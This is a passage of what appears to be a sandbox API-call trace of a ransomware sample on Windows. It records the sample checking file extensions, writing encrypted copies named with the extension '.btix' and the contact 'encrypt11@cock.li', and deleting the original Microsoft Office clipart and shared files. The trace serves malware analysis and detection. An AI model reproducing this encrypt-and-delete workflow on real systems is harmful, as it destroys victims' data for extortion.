(lpString1=".ppt", lpString2=".WMF") returned -1 [0160.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250997.WMF") returned 68 [0160.596] lstrlenW (lpString=".zip") returned 4 [0160.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.596] lstrlenW (lpString=".rar") returned 4 [0160.597] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.597] lstrlenW (lpString=".bz2") returned 4 [0160.597] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.597] lstrlenW (lpString=".7z") returned 3 [0160.597] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250997.WMF") returned 68 [0160.597] lstrlenW (lpString=".dbf") returned 4 [0160.597] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250997.WMF") returned 68 [0160.597] lstrlenW (lpString=".1cd") returned 4 [0160.597] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250997.WMF") returned 68 [0160.597] lstrlenW (lpString=".jpg") returned 4 [0160.597] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.597] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.598] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0251007.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0251007.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0160.598] GetLastError () returned 0x0 [0160.598] ReadFile (in: hFile=0x338, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x1100c, lpOverlapped=0x0) returned 1 [0160.609] WriteFile (in: hFile=0x370, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x11010, lpOverlapped=0x0) returned 1 [0160.611] ReadFile (in: hFile=0x338, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0160.611] WriteFile (in: hFile=0x370, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0160.611] SetEndOfFile (hFile=0x370) returned 1 [0160.611] CloseHandle (hObject=0x370) returned 1 [0160.611] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.611] SetEndOfFile (hFile=0x338) returned 1 [0160.614] CloseHandle (hObject=0x338) returned 1 [0160.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0251007.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.614] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0251007.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0251007.wmf")) returned 1 [0160.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0251007.WMF") returned 68 [0160.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0251007.WMF") returned 68 [0160.615] lstrlenW (lpString=".doc") returned 4 [0160.615] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.615] lstrlenW (lpString=".docx") returned 5 [0160.615] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0160.615] lstrlenW (lpString=".pdf") returned 4 [0160.615] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.615] lstrlenW (lpString=".xls") returned 4 [0160.615] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.615] lstrlenW (lpString=".xlsx") returned 5 [0160.615] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0160.615] lstrlenW (lpString=".ppt") returned 4 [0160.615] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0251007.WMF") returned 68 [0160.616] lstrlenW (lpString=".zip") returned 4 [0160.616] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.616] lstrlenW (lpString=".rar") returned 4 [0160.616] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.616] lstrlenW (lpString=".bz2") returned 4 [0160.616] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.616] lstrlenW (lpString=".7z") returned 3 [0160.616] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0251007.WMF") returned 68 [0160.616] lstrlenW (lpString=".dbf") returned 4 [0160.616] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0251007.WMF") returned 68 [0160.616] lstrlenW (lpString=".1cd") returned 4 [0160.616] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0251007.WMF") returned 68 [0160.616] lstrlenW (lpString=".jpg") returned 4 [0160.616] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.616] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.616] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252629.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0252629.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0160.617] GetLastError () returned 0x0 [0160.617] ReadFile (in: hFile=0x338, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0xae2, lpOverlapped=0x0) returned 1 [0160.676] WriteFile (in: hFile=0x370, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xaf0, lpOverlapped=0x0) returned 1 [0160.677] ReadFile (in: hFile=0x338, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0160.677] WriteFile (in: hFile=0x370, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0160.677] SetEndOfFile (hFile=0x370) returned 1 [0160.677] CloseHandle (hObject=0x370) returned 1 [0160.677] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.677] SetEndOfFile (hFile=0x338) returned 1 [0160.678] CloseHandle (hObject=0x338) returned 1 [0160.678] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252629.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.678] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252629.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0252629.wmf")) returned 1 [0160.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252629.WMF") returned 68 [0160.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252629.WMF") returned 68 [0160.679] lstrlenW (lpString=".doc") returned 4 [0160.679] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.679] lstrlenW (lpString=".docx") returned 5 [0160.679] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0160.679] lstrlenW (lpString=".pdf") returned 4 [0160.679] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.679] lstrlenW (lpString=".xls") returned 4 [0160.679] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.679] lstrlenW (lpString=".xlsx") returned 5 [0160.679] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0160.679] lstrlenW (lpString=".ppt") returned 4 [0160.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252629.WMF") returned 68 [0160.679] lstrlenW (lpString=".zip") returned 4 [0160.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.679] lstrlenW (lpString=".rar") returned 4 [0160.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.679] lstrlenW (lpString=".bz2") returned 4 [0160.679] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.679] lstrlenW (lpString=".7z") returned 3 [0160.679] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252629.WMF") returned 68 [0160.679] lstrlenW (lpString=".dbf") returned 4 [0160.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252629.WMF") returned 68 [0160.680] lstrlenW (lpString=".1cd") returned 4 [0160.680] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252629.WMF") returned 68 [0160.680] lstrlenW (lpString=".jpg") returned 4 [0160.680] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.850] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.850] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0278702.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0278702.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0160.851] GetLastError () returned 0x0 [0160.851] ReadFile (in: hFile=0x358, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0xf6a, lpOverlapped=0x0) returned 1 [0161.535] WriteFile (in: hFile=0x39c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xf70, lpOverlapped=0x0) returned 1 [0161.536] ReadFile (in: hFile=0x358, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0161.536] WriteFile (in: hFile=0x39c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0161.537] SetEndOfFile (hFile=0x39c) returned 1 [0161.783] CloseHandle (hObject=0x39c) returned 1 [0161.783] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.783] SetEndOfFile (hFile=0x358) returned 1 [0161.784] CloseHandle (hObject=0x358) returned 1 [0161.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0278702.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0161.784] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0278702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0278702.wmf")) returned 1 [0161.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0278702.WMF") returned 68 [0161.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0278702.WMF") returned 68 [0161.785] lstrlenW (lpString=".doc") returned 4 [0161.785] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.785] lstrlenW (lpString=".docx") returned 5 [0161.785] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0161.785] lstrlenW (lpString=".pdf") returned 4 [0161.785] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.785] lstrlenW (lpString=".xls") returned 4 [0161.785] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.785] lstrlenW (lpString=".xlsx") returned 5 [0161.785] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0161.785] lstrlenW (lpString=".ppt") returned 4 [0161.785] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0278702.WMF") returned 68 [0161.785] lstrlenW (lpString=".zip") returned 4 [0161.785] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.785] lstrlenW (lpString=".rar") returned 4 [0161.785] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.785] lstrlenW (lpString=".bz2") returned 4 [0161.785] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.785] lstrlenW (lpString=".7z") returned 3 [0161.785] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0278702.WMF") returned 68 [0161.786] lstrlenW (lpString=".dbf") returned 4 [0161.786] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0278702.WMF") returned 68 [0161.786] lstrlenW (lpString=".1cd") returned 4 [0161.786] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0278702.WMF") returned 68 [0161.786] lstrlenW (lpString=".jpg") returned 4 [0161.786] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.787] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.787] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285484.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285484.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0161.788] GetLastError () returned 0x0 [0161.788] ReadFile (in: hFile=0x358, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x2440, lpOverlapped=0x0) returned 1 [0161.938] WriteFile (in: hFile=0x39c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x2450, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x2450, lpOverlapped=0x0) returned 1 [0161.943] ReadFile (in: hFile=0x358, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0161.943] WriteFile (in: hFile=0x39c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0161.943] SetEndOfFile (hFile=0x39c) returned 1 [0161.943] CloseHandle (hObject=0x39c) returned 1 [0161.943] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.943] SetEndOfFile (hFile=0x358) returned 1 [0161.944] CloseHandle (hObject=0x358) returned 1 [0161.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285484.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0161.944] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285484.wmf")) returned 1 [0161.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285484.WMF") returned 68 [0161.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285484.WMF") returned 68 [0161.945] lstrlenW (lpString=".doc") returned 4 [0161.945] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.945] lstrlenW (lpString=".docx") returned 5 [0161.945] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0161.945] lstrlenW (lpString=".pdf") returned 4 [0161.945] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.945] lstrlenW (lpString=".xls") returned 4 [0161.945] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.945] lstrlenW (lpString=".xlsx") returned 5 [0161.945] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0161.945] lstrlenW (lpString=".ppt") returned 4 [0161.945] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285484.WMF") returned 68 [0161.945] lstrlenW (lpString=".zip") returned 4 [0161.945] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.945] lstrlenW (lpString=".rar") returned 4 [0161.945] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.945] lstrlenW (lpString=".bz2") returned 4 [0161.945] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.945] lstrlenW (lpString=".7z") returned 3 [0161.945] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285484.WMF") returned 68 [0161.945] lstrlenW (lpString=".dbf") returned 4 [0161.945] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285484.WMF") returned 68 [0161.945] lstrlenW (lpString=".1cd") returned 4 [0161.945] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285484.WMF") returned 68 [0161.945] lstrlenW (lpString=".jpg") returned 4 [0161.945] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.946] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.946] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285782.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285782.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0161.947] GetLastError () returned 0x0 [0161.947] ReadFile (in: hFile=0x358, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x523e, lpOverlapped=0x0) returned 1 [0162.246] WriteFile (in: hFile=0x39c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x5240, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x5240, lpOverlapped=0x0) returned 1 [0162.246] ReadFile (in: hFile=0x358, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0162.247] WriteFile (in: hFile=0x39c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0162.247] SetEndOfFile (hFile=0x39c) Thread: id = 97 os_tid = 0xfcc [0146.442] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x3b10048 [0146.442] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x3b20050 [0146.442] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bf0b8 [0146.443] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x6) returned 0x6fa4c8 [0146.443] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bf160 [0146.443] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x100000) returned 0x3c10020 [0146.445] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bf0a0 [0146.445] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bf0a0, Size=0x20) returned 0x69db28 [0146.445] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bf0a0 [0146.445] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bf0a0, Size=0x20) returned 0x69dba0 [0146.445] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0146.445] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0146.445] Wow64DisableWow64FsRedirection (in: OldValue=0x301ff50 | out: OldValue=0x301ff50*=0x0) returned 1 [0146.445] lstrlenW (lpString="kernel32.dll") returned 12 [0146.445] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69db28 | out: hHeap=0x660000) returned 1 [0146.446] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0146.446] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dba0 | out: hHeap=0x660000) returned 1 [0146.446] Sleep (dwMilliseconds=0x64) [0146.696] Sleep (dwMilliseconds=0x64) [0146.927] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0146.927] lstrlenW (lpString="Content.xml") returned 11 [0146.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.165] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=27045) returned 1 [0147.165] CloseHandle (hObject=0x338) returned 1 [0147.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0147.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.166] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0147.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0147.166] lstrlenW (lpString=".doc") returned 4 [0147.166] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.166] lstrlenW (lpString=".docx") returned 5 [0147.166] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0147.166] lstrlenW (lpString=".pdf") returned 4 [0147.166] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.166] lstrlenW (lpString=".xls") returned 4 [0147.166] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.166] lstrlenW 